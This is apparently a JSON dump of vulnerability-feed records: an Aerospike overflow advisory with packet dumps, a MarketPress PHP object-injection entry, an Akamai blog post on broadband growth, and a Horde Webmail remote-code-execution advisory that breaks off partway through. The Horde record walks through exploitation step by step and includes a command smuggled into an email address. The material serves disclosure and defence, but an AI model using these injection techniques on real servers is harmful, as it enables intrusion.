offset 0x46 of the packet produced by the proof-of-concept is the truncated `data` of the asmsgs structure. This structure begins with the `info1` byte and is followed by two fields, `n_fields` and `n_ops`, which describe the number of fields that follow. Due to an assumption made by the server, there must be at least two fields within this structure to reach this vulnerability.\r\n```\r\n<class aspie.as_batch_msg> 'msg'\r\n[46] <instance aspie.AS_MSG_INFO1 'info1'> {bits=8} (0x00, 8)\r\n[47] <instance uint16_t 'n_fields'> +0x0002 (2)\r\n[49] <instance uint16_t 'n_ops'> +0x0000 (0)\r\n[4b] <instance dynamic.array(aspie.as_msg_field_s,2) 'fields'> aspie.as_msg_field_s[2] \"\\xff\\xff\\xff\\xff\\x01\\xff\\xff\\xff\\xff\\x01\"\r\n[55] <instance dynamic.array(aspie.as_msg_op_s,0) 'ops'> aspie.as_msg_op_s[0] \"\"\r\n```\r\n\r\nDespite the two fields in the `msg` field being of the type SET(0x1), the `type` field does not affect the vulnerability. The vulnerability exists due to the application not checking if the `field_sz` of each field in `msg` will seek the pointer outside the bounds of the packet data. If the aggregate sum of all of the `field_sz` uint32t's in each `msg` field is larger than the bounds of the packet (which can be determined by looking at the uint48t, sz, at offset 2 of the packet), then this vulnerability is being triggered. The provided proof-of-concept sets both of these lengths to the largest possible uint32_t.\r\n```\r\n<class aspie.as_msg_field_s> '0'\r\n[4b] <instance uint32_t 'field_sz'> +0xffffffff (4294967295)\r\n[4f] <instance aspie.AS_MSG_FIELD_TYPE 'type'> SET(0x1)\r\n[50] <instance aspie.as_msg_namespace_s<char_t> 'data'> u''\r\n\r\n<class aspie.as_msg_field_s> '1'\r\n[50] <instance uint32_t 'field_sz'> +0xffffffff (4294967295)\r\n[54] <instance aspie.AS_MSG_FIELD_TYPE 'type'> SET(0x1)\r\n[55] <instance aspie.as_msg_namespace_s<char_t> 'data'> u''\r\n```\r\n\r\n### Timeline\r\n* 2016-12-23 - Vendor Disclosure\r\n* 2017-02-21 - Public Release\r\n\r\n### CREDIT\r\n* Discovered by the Cisco Talos Team", "modified": "2017-09-22T00:00:00", "published": "2017-09-22T00:00:00", "href": "https://www.seebug.org/vuldb/ssvid-96569", "id": "SSV:96569", "type": "seebug", "title": "Aerospike Database Server Client Batch Request Code Execution Vulnerability(CVE-2016-9051)", "sourceData": "", "sourceHref": "", "cvss": {"score": 7.5, "vector": "AV:NETWORK/AC:LOW/Au:NONE/C:PARTIAL/I:PARTIAL/A:PARTIAL/"}}], "wpvulndb": [{"lastseen": "2019-11-01T11:03:38", "bulletinFamily": "software", "description": "WordPress Vulnerability - MarketPress <= 3.2.6 - PHP Object Injection Send an object to the site using the mp_globalcart_* cookie value and it will be unserialized on the request. Vulnerable code snippet: wordpress-ecommerce/includes/common/class-mp-cart.php 385 $this->_cookie_id = 'mp_globalcart_' . COOKIEHASH; 386 $this->_items = array( $this->_id => array() ); 387 388 if ( $cart_cookie = mp_get_cookie_value( $this->_cookie_id ) ) { 389 // Clean cookie from none product items 390 $cart_cookie_items = unserialize( $cart_cookie ); \n", "modified": "2019-11-01T00:00:00", "published": "2017-09-28T00:00:00", "id": "WPVDB-ID:8917", "href": "https://wpvulndb.com/vulnerabilities/8917", "type": "wpvulndb", "title": "MarketPress <= 3.2.6 - PHP Object Injection ", "cvss": {"score": 0.0, "vector": "NONE"}}], "akamaiblog": [{"lastseen": "2017-06-16T18:18:43", "bulletinFamily": "blog", "description": "The _State of the Internet Report_ is growing up - with this issue, it enters its tenth year of publication. Over time, it has matured in many ways, including its length, design, and the content it includes. Looking back at that [first issue](<https://www.akamai.com/us/en/multimedia/documents/state-of-the-internet/akamai-q1-2008-state-of-the-internet-connectivity-report.pdf>) (all 17 pages of it), for the first quarter of 2008, we find that the report covered:\n\n * **_Security_**: Highlighting attacks detected by Akamai's 'darknet', as well as covering published insights into DDoS and Web site attacks occurring across the Internet. Today, the [State of the Internet/Security Report](<https://www.akamai.com/us/en/about/our-thinking/state-of-the-internet-report/global-state-of-the-internet-security-ddos-attack-reports.jsp>) does an excellent job of covering those topics each quarter (although our attack detection surface now includes the entire Akamai platform).\n * **_Networks_**: This section covered outages, de-peering events and routing issues, and \"significant new connectivity\". The latter covered the launch of two new submarine cables, while the former covered larger scale outages caused by the cut of such cables. Outages are still covered in the report today, although it seems that these wide-scale disruptions are now more likely to be caused by government action than by a rogue anchor. And \"significant new connectivity\" is now more likely to refer to the accelerating pace of gigabit-speed broadband deployments around the world.\n * **_Internet Penetration_**: This section included insight into the number of unique IPv4 addresses seen by Akamai, which is still covered in the report today. (Interesting, the count in that first report was just over 329 million - in the first quarter of 2017, it had grown to over 814 million.) It also included insight into the number of unique IPv4 addresses per capita around the world - the highest at that time was Sweden, at 0.40. This latter metric was short-lived within the report.\n * **_Geography_**: Insight into \"high broadband\", \"broadband\", and \"narrowband\" adoption and penetration around the world. Within that issue of the report, \"high broadband\" was defined as 5 Mbps and above, \"broadband\" as 2 Mbps and above, and \"narrowband\" as connections slower than 256 kbps. The narrowband metric was excised from the report several years later, as adoption levels approached zero in the top countries, thanks to the increased adoption of higher speed broadband connections. To that end, \"high broadband\" and \"broadband\" were redefined several times over the years, generally in line with updated definitions from the United States Federal Communications Commission. However, several years ago, we chose to abandon these generic designations, and instead be more specific about the associated speed thresholds. Today, the _State of the Internet Report_ covers broadband adoption above 4, 10, 15, and 25 Mbps.\n\nOver the last nine years, the content in the report has also grown to include average and average peak connection speed data (which wasn't included in the first few issues), mobile traffic growth trends and mobile connection speeds, increased geographic coverage, and insight into the state of IPv4 exhaustion and growth of IPv6 adoption. The _State of the Internet_ program has also spawned associated [data visualizations](<https://www.akamai.com/us/en/about/our-thinking/state-of-the-internet-report/state-of-the-internet-connectivity-visualization.jsp>), mobile applications ([iOS](<https://itunes.apple.com/us/app/akamais-state-of-the-internet/id800491468?mt=8>), [Android](<https://play.google.com/store/apps/details?id=com.akamai.soti>)), [infographics](<https://www.akamai.com/us/en/multimedia/documents/state-of-the-internet/q1-2017-state-of-the-internet-connectivity-infographic.pdf>), and e-reader friendly versions of the report.\n\nThe increased ubiquity of high speed broadband connections, thanks to more widespread availability and greater affordability, that has occurred over the last nine years, has also driven strong growth in both average and average peak connection speeds. While the aggregation at a continent level shown in the graphs below hides the more granular improvements seen at an individual country level, the results are impressive nonetheless.\n\n[](<https://blogs.akamai.com/assets_c/2017/05/continents-avg-6066.html>)\n\nFor the average connection speed metric, overall growth rates have been strong across most regions. Asia had the highest starting point, thanks to countries/regions like South Korea, Hong Kong, Singapore, and Japan, but it also saw the lowest rate of growth across the report's nine-year tenure.\n\n * Africa: +361%\n * Asia: +177%\n * Oceania: +502%\n * Europe: +351%\n * N. America: +389%\n * S. America: +653%\n\n[](<https://blogs.akamai.com/assets_c/2017/05/continents-peak-6069.html>)\n\nFor the average peak connection speed metric, the overall growth rates have been much stronger. As this metric is more reflective of the speeds that connections are capable of (taking offered speed tiers and actual subscriptions into account), it highlights the aggressive progress that has been made around the world in improving the speed and availability of broadband connectivity. South America had one of the lowest starting points, but exhibited the most significant growth over the last nine years, although North America has exhibited the highest average peak connection speed for the last five years or so.\n\n * Africa: +645%\n * Asia: +552%\n * Oceania: +945%\n * Europe: +843%\n * N. America: +821%\n * S. America: +1,360%\n\nFor more specific insight at a country (or U.S. state) level, download the [First Quarter, 2017 State of the Internet / Connectivity Report](<https://content.akamai.com/gl-en-pg9135-q1-soti-connectivity.html>), or create a custom map or graph using the associated [data visualization tools](<https://www.akamai.com/us/en/about/our-thinking/state-of-the-internet-report/state-of-the-internet-connectivity-visualization.jsp>).\n\n", "modified": "2017-06-16T07:25:32", "published": "2017-05-31T11:41:12", "id": "AKAMAIBLOG:7AFC4485307AF864D3C9B80799EA6545", "href": "http://feedproxy.google.com/~r/TheAkamaiBlog/~3/15IsfQUzXiM/the-state-of-the-internet-a-decade-of-change.html", "title": "The State of the Internet: A Decade of Change", "type": "akamaiblog", "cvss": {"score": 0.0, "vector": "NONE"}}], "zdt": [{"lastseen": "2018-04-02T05:26:12", "bulletinFamily": "exploit", "description": "Exploit for php platform in category web applications", "modified": "2017-04-12T00:00:00", "published": "2017-04-12T00:00:00", "href": "https://0day.today/exploit/description/27576", "id": "1337DAY-ID-27576", "title": "Horde Groupware Webmail 3 / 4 / 5 - Multiple Remote Code Execution Vulnerabilities", "type": "zdt", "sourceData": "Source: https://blogs.securiteam.com/index.php/archives/3107\r\n \r\nVulnerabilities Summary\r\nThe following advisory describes two (2) vulnerabilities found in\r\nHorde Groupware Webmail.\r\n \r\nHorde Groupware Webmail Edition is a free, enterprise ready, browser\r\nbased communication suite. Users can read, send and organize email\r\nmessages and manage and share calendars, contacts, tasks, notes,\r\nfiles, and bookmarks with the standards compliant components from the\r\nHorde Project. Horde Groupware Webmail Edition bundles the separately\r\navailable applications IMP, Ingo, Kronolith, Turba, Nag, Mnemo,\r\nGollem, and Trean.\r\n \r\nIt can be extended with any of the released Horde applications or the\r\napplications that are still in development, like a bookmark manager or\r\na file manager.\r\n \r\nAffected versions: Horde 5, 4 and 3\r\n \r\nThe vulnerabilities found in Horde Groupware Webmail are:\r\n \r\nAuthentication Remote Code Execution\r\nUnauthentication Remote Code Execution\r\n \r\nCredit\r\nAn independent security researcher has reported this vulnerability to\r\nBeyond Security\u2019s SecuriTeam Secure Disclosure program.\r\n \r\nVendor response\r\nHorde has released a patch to address the vulnerabilities.\r\n \r\nFor more information:\r\nhttps://lists.horde.org/archives/horde/Week-of-Mon-20170403/056767.html\r\n \r\nVulnerabilities Details\r\n \r\nAuthentication Remote Code Execution\r\nHorde Webmail contains a vulnerability that allows a remote attacker\r\nto execute arbitrary code with the privileges of the user who runs the\r\nweb server.\r\n \r\nFor successful attack GnuPG feature should be enabled on the target\r\nserver (path to gpg binary should be defined in $conf[gnupg][path]\r\nsetting).\r\n \r\nVulnerable code: encryptMessage() function of GPG feature.\r\n \r\nPath: /Horde/Crypt/Pgp/Backend/Binary.php:\r\n \r\n/* 416 */ public function encryptMessage($text, $params)\r\n/* 417 */ {\r\n/* \u2026 */\r\n/* 435 */ foreach (array_keys($params['recips']) as $val) {\r\n/* 436 */ $cmdline[] = '--recipient ' . $val;\r\n#! vulnerable code\r\n/* \u2026 */\r\n/* 444 */ /* Encrypt the document. */\r\n/* 445 */ $result = $this->_callGpg(\r\n/* 446 */ $cmdline,\r\n/* 447 */ 'w',\r\n/* 448 */ empty($params['symmetric']) ? null : $params['passphrase'],\r\n/* 449 */ true,\r\n/* 450 */ true\r\n/* 451 */ );\r\n \r\n$params[\u2018recips\u2019] will be added to $cmdline array and passed to _callGpg():\r\n \r\nPath: /Horde/Crypt/Pgp/Backend/Binary.php:\r\n \r\n/* 642 */ public function _callGpg(\r\n/* 643 */ $options, $mode, $input = array(), $output = false, $stderr = false,\r\n/* 644 */ $parseable = false, $verbose = false\r\n/* 645 */ )\r\n/* 646 */ {\r\n/* \u2026 */\r\n/* 675 */ $cmdline = implode(' ', array_merge($this->_gnupg, $options));\r\n/* \u2026 */\r\n/* 681 */ if ($mode == 'w') {\r\n/* 682 */ if ($fp = popen($cmdline, 'w')) { #!\r\nvulnerable code\r\n/* \u2026 */\r\n \r\nWe can see that our recipients (addresses) will be in command line\r\nthat is going to be executed. encryptMessage() function can be reached\r\nby various API, requests. For example it will be called when user try\r\nto send encrypted message.\r\n \r\nOur request for encryption and sending our message will be processed\r\nby buildAndSendMessage() method:\r\nPath: /imp/lib/Compose.php\r\n \r\n/* 733 */ public function buildAndSendMessage(\r\n/* 734 */ $body, $header, IMP_Prefs_Identity $identity, array $opts = array()\r\n/* 735 */ )\r\n/* 736 */ {\r\n/* 737 */ global $conf, $injector, $notification, $prefs, $registry, $session;\r\n/* 738 */\r\n/* 739 */ /* We need at least one recipient & RFC 2822 requires that no 8-bit\r\n/* 740 */ * characters can be in the address fields. */\r\n/* 741 */ $recip = $this->recipientList($header);\r\n/* ... */\r\n/* 793 */ /* Must encrypt & send the message one recipient at a time. */\r\n/* 794 */ if ($prefs->getValue('use_smime') &&\r\n/* 795 */ in_array($encrypt, array(IMP_Crypt_Smime::ENCRYPT,\r\nIMP_Crypt_Smime::SIGNENC))) {\r\n/* ... */\r\n/* 807 */ } else {\r\n/* 808 */ /* Can send in clear-text all at once, or PGP can encrypt\r\n/* 809 */ * multiple addresses in the same message. */\r\n/* 810 */ $msg_options['from'] = $from;\r\n/* 811 */ $save_msg = $this->_createMimeMessage($recip['list'], $body,\r\n$msg_options); #! vulnerable code\r\n \r\nIn line 741 it tries to create recipient list: Horde parsers values of\r\n\u2018to\u2019, \u2018cc\u2019, \u2018bcc\u2019 headers and creates list of Rfc822 addresses. In\r\ngeneral there are restrictions for characters in addresses but if we\r\nwill use the next format:\r\n \r\ndisplay-name <\"somemailbox\"@somedomain.com>\r\n \r\nsomemailbox will be parsed by _rfc822ParseQuotedString() method:\r\n \r\nPath: /Horde/Mail/Rfc822.php:\r\n \r\n/* 557 */ protected function _rfc822ParseQuotedString(&$str)\r\n/* 558 */ {\r\n/* 559 */ if ($this->_curr(true) != '\"') {\r\n/* 560 */ throw new Horde_Mail_Exception('Error when parsing a quoted string.');\r\n/* 561 */ }\r\n/* 563 */ while (($chr = $this->_curr(true)) !== false) {\r\n/* 564 */ switch ($chr) {\r\n/* 565 */ case '\"':\r\n/* 566 */ $this->_rfc822SkipLwsp();\r\n/* 567 */ return;\r\n/* 569 */ case \"\\n\":\r\n/* 570 */ /* Folding whitespace, remove the (CR)LF. */\r\n/* 571 */ if (substr($str, -1) == \"\\r\") {\r\n/* 572 */ $str = substr($str, 0, -1);\r\n/* 573 */ }\r\n/* 574 */ continue;\r\n/* 576 */ case '\\\\':\r\n/* 577 */ if (($chr = $this->_curr(true)) === false) {\r\n/* 578 */ break 2;\r\n/* 579 */ }\r\n/* 580 */ break;\r\n/* 581 */ }\r\n/* 583 */ $str .= $chr;\r\n/* 584 */ }\r\n/* 586 */ /* Missing trailing '\"', or partial quoted character. */\r\n/* 587 */ throw new Horde_Mail_Exception('Error when parsing a quoted string.');\r\n/* 588 */ }\r\n \r\nThere are only a few limitations:\r\n \r\nwe cannot use \u201c\r\n\\n will be deleted\r\nwe cannot use \\ at the end of our mailbox\r\n \r\nAfter creation of recipient list buildAndSendMessage() will call\r\n_createMimeMessage():\r\n \r\nPath: /imp/lib/Compose.php\r\n \r\n/* 1446 */ protected function _createMimeMessage(\r\n/* 1447 */ Horde_Mail_Rfc822_List $to, $body, array $options = array()\r\n/* 1448 */ )\r\n/* 1449 */ {\r\n/* 1450 */ global $conf, $injector, $prefs, $registry;\r\n/* ... */\r\n/* 1691 */ /* Set up the base message now. */\r\n/* 1692 */ $encrypt = empty($options['encrypt'])\r\n/* 1693 */ ? IMP::ENCRYPT_NONE\r\n/* 1694 */ : $options['encrypt'];\r\n/* 1695 */ if ($prefs->getValue('use_pgp') &&\r\n/* 1696 */ !empty($conf['gnupg']['path']) &&\r\n/* 1697 */ in_array($encrypt, array(IMP_Crypt_Pgp::ENCRYPT,\r\nIMP_Crypt_Pgp::SIGN, IMP_Crypt_Pgp::SIGNENC,\r\nIMP_Crypt_Pgp::SYM_ENCRYPT, IMP_Crypt_Pgp::SYM_SIGNENC))) {\r\n/* 1698 */ $imp_pgp = $injector->getInstance('IMP_Crypt_Pgp');\r\n/* ... */\r\n/* 1727 */ /* Do the encryption/signing requested. */\r\n/* 1728 */ try {\r\n/* 1729 */ switch ($encrypt) {\r\n/* ... */\r\n/* 1735 */ case IMP_Crypt_Pgp::ENCRYPT:\r\n/* 1736 */ case IMP_Crypt_Pgp::SYM_ENCRYPT:\r\n/* 1737 */ $to_list = clone $to;\r\n/* 1738 */ if (count($options['from'])) {\r\n/* 1739 */ $to_list->add($options['from']);\r\n/* 1740 */ }\r\n/* 1741 */ $base = $imp_pgp->IMPencryptMIMEPart($base, $to_list,\r\n($encrypt == IMP_Crypt_Pgp::SYM_ENCRYPT) ?\r\n$symmetric_passphrase : null);\r\n/* 1742 */ break;\r\n \r\nHere we can see validation (1695-1696 lines) that:\r\n \r\nCurrent user has enabled \u201cuse_pgp\u201d feature in his preferences (it is\r\nnot a problem as an attacker can edit his own preferences)\r\n$conf[\u2018gnupg\u2019][\u2018path\u2019] is not empty. This value can be edited only by\r\nadmin. So if we don\u2019t have value here our server is not vulnerable.\r\nBut if admin wants to allow users to use GPG feature he/she needs to\r\ndefine value for this config.\r\n \r\nAlso we can see that in lines 1737-1739 to our recipient list will be\r\nadded address \u201cfrom\u201d as well.\r\n \r\nPath: /imp/lib/Crypt/Pgp.php\r\n \r\n/* 584 */ public function impEncryptMimePart($mime_part,\r\n/* 585 */ Horde_Mail_Rfc822_List $addresses,\r\n/* 586 */ $symmetric = null)\r\n/* 587 */ {\r\n/* 588 */ return $this->encryptMimePart($mime_part,\r\n$this->_encryptParameters($addresses, $symmetric));\r\n/* 589 */ }\r\n \r\nBefore encryptMimePart() call Horde uses _encryptParameters()\r\n \r\nPath: /imp/lib/Crypt/Pgp.php\r\n \r\n/* 536 */ protected function _encryptParameters(Horde_Mail_Rfc822_List\r\n$addresses,\r\n/* 537 */ $symmetric)\r\n/* 538 */ {\r\n/* ... */\r\n/* 546 */ $addr_list = array();\r\n/* 548 */ foreach ($addresses as $val) {\r\n/* 549 */ /* Get the public key for the address. */\r\n/* 550 */ $bare_addr = $val->bare_address;\r\n/* 551 */ $addr_list[$bare_addr] = $this->getPublicKey($bare_addr);\r\n/* 552 */ }\r\n/* 554 */ return array('recips' => $addr_list);\r\n/* 555 */ }\r\n \r\nHorde will add to each address its Public Key. There a few source of\r\nPublic Keys:\r\n \r\nAddressBook (we will use this source)\r\nServers with Public Keys\r\n \r\nNote that Horde should be able to find Public Key for our \u201cFrom\u201d\r\naddress as well.\r\nWe can generate pair of PGP keys (https is required) or we can use the\r\nsame trick with AddressBook (we can create some contact, add any valid\r\nPublic PGP key, and add this address to default identity)\r\nencryptMimePart() will call encrypt() method\r\n \r\nPath: /Horde/Crypt/Pgp.php\r\n \r\n/* 773 */ public function encryptMIMEPart($mime_part, $params = array())\r\n/* 774 */ {\r\n/* 775 */ $params = array_merge($params, array('type' => 'message'));\r\n/* \u2026 */\r\n/* 781 */ $message_encrypt = $this->encrypt($signenc_body, $params);\r\n \r\nIt will call encryptMessage()\r\n \r\nPath: /Horde/Crypt/Pgp.php\r\n \r\n/* 554 */ public function encrypt($text, $params = array())\r\n/* 555 */ {\r\n/* 556 */ switch (isset($params['type']) ? $params['type'] : false) {\r\n/* 557 */ case 'message':\r\n/* 558 */ $error = Horde_Crypt_Translation::t(\r\n/* 559 */ \"Could not PGP encrypt message.\"\r\n/* 560 */ );\r\n/* 561 */ $func = 'encryptMessage';\r\n/* 562 */ break;\r\n/* ... */\r\n/* 586 */ $this->_initDrivers();\r\n/* 587 */\r\n/* 588 */ foreach ($this->_backends as $val) {\r\n/* 589 */ try {\r\n/* 590 */ return $val->$func($text, $params);\r\n/* 591 */ } catch (Horde_Crypt_Exception $e) {}\r\n/* 592 */ }\r\n \r\nIn conclusions:\r\nIf Horde server has enabled \u201cGnuPG feature\u201d any unprivileged user is\r\nable to execute arbitrary code.\r\n \r\nEnable GPG feature for attacker account (\u201cEnable PGP functionality?\u201d\r\ncheckbox on \u201cPGP Configure PGP encryption support.\u201d section in\r\nPrefferences->Mail page )\r\nCreate some contact in the attacker AddressBook, add any valid Public\r\nPGP key, and add this address to default identity\r\nCreate another contact in the attacker AddressBook, add any valid\r\nPublic PGP key, and change email address to some$(desired command to\r\nexecute) [email\u00a0protected]\r\nCreate a new message to some$(desired command to execute) [email\u00a0protected]\r\nChoose Encryption:PGP Encrypt Message option\r\nClick Send button\r\n \r\nAnd desired command will be executed on the Horde server.\r\n \r\nProof of Concept \u2013 Authenticated Code Execution\r\n \r\nFor Proof of Concept we can use preconfigured image of Horde server\r\nfrom Bitnami (Bitnami \u2013 \u201cEasy to use cloud images, containers, and VMs\r\nthat work on any platform\u201d):\r\n \r\nhttps://downloads.bitnami.com/files/stacks/horde/5.2.17-0/bitnami-horde-5.2.17-0-linux-ubuntu-14.04-x86_64.ova\r\n \r\nStep 1 \u2013 Login as admin (by default user:bitnami) and go to\r\nAdministration -> Configuration and choose Horde (horde). Open GnuPG\r\ntab, enter /usr/bin/gpg into $conf[gnupg][path] setting and click\r\n\u201cGenerate Horde Configuration\u201c:\r\n \r\nNow we have enabled GPG feature on our server and we can login as\r\nregular user and try to execute desired commands. But Bitnami image\r\ndoes not have installed and configured Mail server so we need to use\r\nexternal one or install it on local machine.\r\n \r\nWe will use gmail account (to be able to login to it from Horde I had\r\nto change Gmail account setting Allow less secure apps: ON).\r\n \r\nTo use external Mail server we need to change the next setting:\r\n\u201cAdministrator Panel\u201d -> \u201cConfiguration\u201d -> \u201cHorde\u201d ->\r\n\u201cAuthentication\u201d\r\n \r\nStep 2 \u2013 Configure Horde web-mail authentication ($conf[auth][driver])\r\nto \u201cLet a Horde application handle authentication\u201d and click \u201cGenerate\r\nHorde Configuration\u201d:\r\n \r\nStep 3 \u2013 logout and login with your gmail account. Currently we are\r\nlogin as regular user so we can try to execute desired commands:\r\n \r\nGo to Preferences -> Mail and click on PGP link. Check Enable PGP\r\nfunctionality? checkbox and click \u201cSave\u201d:\r\n \r\nCreate \u201cfrom\u201d contact in our AddressBook: \u201cAddress Book -> New Contact\r\n-> in Address Book of \u2026\u201d\r\n \r\nPersonal tab \u2013 Last Name: mymailboxwithPGPkey\r\nCommunication tab \u2013 Email: [email\u00a0protected]\r\nOther tab \u2013 PGP Public Key: any valid Public PGP key.\r\n \r\nFor example:\r\n \r\n-----BEGIN PGP PUBLIC KEY BLOCK-----\r\nVersion: SKS 1.1.6\r\nComment: Hostname: keyserver.ubuntu.com\r\nmQGiBDk89iARBADhB7AyHQ/ZBlZjRRp1/911XaXGGmq1LDLTUTCAbJyQ1TzKDdetfT9Szk01\r\nYPdAnovgzxTS89svuVHP/BiqLqhJMl2FfMLcJX+va+DujGuLDCZDHi+4czc33N3z8ArpxzPQ\r\n5bfALrpNMJi6v2gZkDQAjMoeKrNEfXLCXQbTYWCuhwCgnZZCThya4xhmlLCTkwsQdMjFoj8D\r\n/iOIP/6W27opMJgZqTHcisFPF6Kqyxe6GAftJo6ZtLEG26k2Qn3O0pghDz2Ql4aDVki3ms82\r\nz77raSqbZVJzAFPzYoIKuc3JOoxxE+SelzSzj4LuQRXYKqZzT8/qYBCLg9cmhdm8PnwE9fd/\r\nPOGnNQFMk0i2xSz0FMr9R1emIKNsA/454RHIZ39ebvZzVULS1pSo6cI7DAJFQ3ejJqEEdAbr\r\n72CW3eFUAdF+4bJQU/V69Nr+CmziBbyqKP6HfiUH9u8NLrYuK6XWXLVVSCBPsOxHxhw48hch\r\nzVxJZ5Cyo/tMSOY/CxvLL/vMoT2+kQX1SCsWALosKJyOGbpCJmPasOLKdrQnQWxpY2UgKFJl\r\nY2h0c2Fud8OkbHRpbikgPGFsaWNlQGN5Yi5vcmc+iEYEEBECAAYFAjk+IEgACgkQzDSD4hsI\r\nfQSaWQCgiDvvnRxa8XFOKy/NI7CKL5X4D28An2k9Cbh+dosXvB5zGCuQiAkLiQ+CiEYEEREC\r\nAAYFAkKTPFcACgkQCY+3LE2/Ce4l+gCdFSHqp5HQCMKSOkLodepoG0FiQuwAnR2nioCQ3A5k\r\nYI0NfUth+0QzJs1ciFYEExECABYFAjk89iAECwoEAwMVAwIDFgIBAheAAAoJEFsqCm37V5ep\r\nfpAAoJezEplLlaGQHM8ppKReVHSyGuX+AKCYwRcwJJwoQHM8p86xhSuC/opYPoheBBMRAgAW\r\nBQI5PPYgBAsKBAMDFQMCAxYCAQIXgAASCRBbKgpt+1eXqQdlR1BHAAEBfpAAoJezEplLlaGQ\r\nHM8ppKReVHSyGuX+AKCYwRcwJJwoQHM8p86xhSuC/opYPrkBDQQ5PPYqEAQArSW27DriJAFs\r\nOr+fnb3VwsYvznFfEv8NJyM/9/lDYfIROHIhdKCWswUWCgoz813RO2taJi5p8faM048Vczu/\r\nVefTzVrsvpgXUIPQoXjgnbo6UCNuLqGk6TnwdJPPNLuIZLBEhGdA+URtFOA5tSj67h0G4fo0\r\nP8xmsUXNgWVxX/MAAwUD/jUPLFgQ4ThcuUpxCkjMz+Pix0o37tOrFOU/H0cn9SHzCQKxn+iC\r\nsqZlCsR+qXNDl43vSa6Riv/aHtrD+MJLgdIVkufuBWOogtuojusnFGY73xvvM1MfbG+QaUqw\r\ngfe4UYOchLBNVtfN3WiqSPq5Yhue4m1u/xIvGGJQXvSBxNQyiEYEGBECAAYFAjk89ioACgkQ\r\nWyoKbftXl6kV5QCfV7GjnmicwJPgxUQbDMP9u5KuVcsAn3aSmYyI1u6RRlKoThh0WEHayISv\r\niE4EGBECAAYFAjk89ioAEgkQWyoKbftXl6kHZUdQRwABARXlAJ9XsaOeaJzAk+DFRBsMw/27\r\nkq5VywCfdpKZjIjW7pFGUqhOGHRYQdrIhK8=\r\n=RHjX\r\n-----END PGP PUBLIC KEY BLOCK-----\r\n \r\nClick \u201cAdd\u201d button:\r\n \r\nGo to Preferences -> Global Preferences and click on Personal\r\nInformation link. Put [email\u00a0protected] into field The default\r\ne-mail address to use with this identity and Click \u201cSave\u201d:\r\n \r\nCreate our \u201cto\u201d contact in our AddressBook: \u201cAddress Book -> New\r\nContact -> in Address Book of \u2026\u201d\r\n \r\nPersonal tab \u2013 Last Name: contact_for_attack\r\nCommunication tab \u2013 Email: [email\u00a0protected]\r\nOther tab \u2013 PGP Public Key: any valid Public PGP key (it can be the\r\nsame as in the previous step)\r\nAnd click \u201cAdd\u201d button:\r\n \r\nInject our command: Click on Edit. Go to Communication Tab, put cursor\r\nin Email field and chose \u201cInspect Element (Q)\u201d from context menu:\r\n \r\nDelete \u201cemail\u201d from the type argument and close Inspector:\r\n \r\n1\r\n<input name=\"object[email]\" id=\"object_email_\" value=\"[email\u00a0protected]\"\r\ntype=\"email\">\r\n \r\nEdit the address as we want \u2013 for example hereinj$(touch\r\n/tmp/hereisvuln)@any.com and click \u201cSave\u201d:\r\n \r\nCreate a new message ( Mail -> New Message) with our contact as recipient:\r\n \r\nChoose PGP Encrypt Message in Encryption option:\r\n \r\nEnter any subject and any content. Click \u201cSend\u201d\r\n \r\nWe will get \u201cPGP Error:\u2026\u201d\r\n \r\nIt is ok \u2013 let\u2019s check our server:\r\n \r\nWe have a new file \u201chereisvuln\u201d so our command was executed.\r\n \r\nUnauthentication Remote Code Execution\r\nHorde Webmail contains a vulnerability that allows a remote attacker\r\nto execute arbitrary code with the privileges of the user who runs the\r\nweb server.\r\n \r\nVulnerable code: decryptSignature() function of GPG feature.\r\n \r\nPath: /Horde/Crypt/Pgp/Backend/Binary.php:\r\n \r\n/* 539 */ public function decryptSignature($text, $params)\r\n/* 540 */ {\r\n/* ... */\r\n/* 550 */ /* Options for the GPG binary. */\r\n/* 551 */ $cmdline = array(\r\n/* 552 */ '--armor',\r\n/* 553 */ '--always-trust',\r\n/* 554 */ '--batch',\r\n/* 555 */ '--charset ' . (isset($params['charset']) ?\r\n$params['charset'] : 'UTF-8'),\r\n/* 556 */ $keyring,\r\n/* 557 */ '--verify'\r\n/* 558 */ );\r\n/* ... */\r\n/* 571 */ $result = $this->_callGpg($cmdline, 'r', null, true, true, true);\r\n/* ... */\r\n \r\n$params[\u2018charset\u2019] will be added to $cmdline array and passed to _callGpg():\r\n \r\n/* 642 */ public function _callGpg(\r\n/* 643 */ $options, $mode, $input = array(), $output = false, $stderr = false,\r\n/* 644 */ $parseable = false, $verbose = false\r\n/* 645 */ )\r\n/* 646 */ {\r\n/* \u2026 */\r\n/* 675 */ $cmdline = implode(' ', array_merge($this->_gnupg, $options));\r\n/* \u2026 */\r\n/* 681 */ if ($mode == 'w') {\r\n/* \u2026 */\r\n/* 704 */ } elseif ($mode == 'r') {\r\n/* 705 */ if ($fp = popen($cmdline, 'r')) {\r\n/* \u2026 */\r\n \r\nOur $params[\u2018charset\u2019] will be in command line that is going to be executed.\r\n \r\ndecryptSignature() is called from decrypt() method:\r\n \r\nPath \u2013 /Horde/Crypt/Pgp.php:\r\n \r\n/* 611 */ public function decrypt($text, $params = array())\r\n/* 612 */ {\r\n/* 613 */ switch (isset($params['type']) ? $params['type'] : false) {\r\n/* 614 */ case 'detached-signature':\r\n/* 615 */ case 'signature':\r\n/* 616 */ /* Check for required parameters. */\r\n/* 617 */ if (!isset($params['pubkey'])) {\r\n/* 618 */ throw new InvalidArgumentException(\r\n/* 619 */ 'A public PGP key is required to verify a signed message.'\r\n/* 620 */ );\r\n/* 621 */ }\r\n/* 622 */ if (($params['type'] === 'detached-signature') &&\r\n/* 623 */ !isset($params['signature'])) {\r\n/* 624 */ throw new InvalidArgumentException(\r\n/* 625 */ 'The detached PGP signature block is required to verify the\r\nsigned message.'\r\n/* 626 */ );\r\n/* 627 */ }\r\n/* 628 */\r\n/* 629 */ $func = 'decryptSignature';\r\n/* 630 */ break;\r\n/* ... */\r\n/* 650 */ $this->_initDrivers();\r\n/* 651 */\r\n/* 652 */ foreach ($this->_backends as $val) {\r\n/* 653 */ try {\r\n/* 654 */ return $val->$func($text, $params);\r\n/* 655 */ } catch (Horde_Crypt_Exception $e) {}\r\n/* 656 */ }\r\n/* ... */\r\n \r\ndecrypt() with needed parameters is used in verifySignature():\r\n \r\nPath \u2013 /imp/lib/Crypt/Pgp.php\r\n \r\n/* 339 */ public function verifySignature($text, $address, $signature = '',\r\n/* 340 */ $charset = null)\r\n/* 341 */ {\r\n/* 342 */ if (!empty($signature)) {\r\n/* 343 */ $packet_info = $this->pgpPacketInformation($signature);\r\n/* 344 */ if (isset($packet_info['keyid'])) {\r\n/* 345 */ $keyid = $packet_info['keyid'];\r\n/* 346 